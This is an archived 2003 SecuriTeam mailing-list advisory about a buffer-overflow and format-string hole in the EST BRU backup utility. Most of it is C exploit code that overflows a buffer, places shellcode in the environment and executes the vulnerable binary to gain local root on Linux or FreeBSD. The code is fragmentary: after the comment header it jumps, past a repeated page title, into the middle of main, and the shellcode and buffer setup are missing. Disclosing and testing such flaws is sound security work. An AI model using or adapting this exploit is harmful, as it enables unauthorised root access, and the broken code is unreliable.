

[EXPL] EST BRU Backup and Restore Utility Local Root Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-07/0072.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/20/03

To: list@securiteam.com

Date: 20 Jul 2003 19:46:33 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security in Canada

Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.

We welcome ISPs, system integrators and IT systems resellers

to promote the most advanced vulnerability assessment solutions today.

Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

EST BRU Backup and Restore Utility Local Root Exploit

SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/unixfocus/5XP0H20AKU.html>> BRU Buffer Overflow and Format String Vulnerabilities, a vulnerability in BRU allows local attackers to gain elevated privileges by either causing the product to overflow an internal buffer, or by sending it a buffer that contains a format string directive.

The following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Exploit:

```
/* EST BRU(TM) Backup and Restore Utility Local Root Exploit
```

```
**
```

```
** By: Dvdman@l33tsecurity.com
```


Securiteam: [EXPL] EST BRU Backup and Restore Utility Local Root Exploit

```
usage();
exit(0);
}

target = atoi(argv[1]);

if (target == 0) {
for (x=0; x<9000 ; x+=4)
*ptr++ = (ret + 1);
}

if (target == 1) {
for (x=0; x<3500 ; x+=4)
*ptr++ = 0xbfbffe48;
}

/* put in env */
env[0] = shellcode;
env[1] = NULL;

args[0] = FUN;
args[1] = buffer;
args[2] = NULL;

execve (args[0], args, env);
perror ("execve");
}

int usage() {
printf("EST BRU(TM)local root exploit\n");
printf("By: Dvdman@l33tsecurity.com\n");
printf("Usage: ./ex_bru target\n");
printf("TARGET LIST:\n");
printf("0. LINUX\n1. FREEBSD\n");
return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:Dvdman@l33tsecurity.com>>
Dvdman.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

Securiteam: [EXPL] EST BRU Backup and Restore Utility Local Root Exploit

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.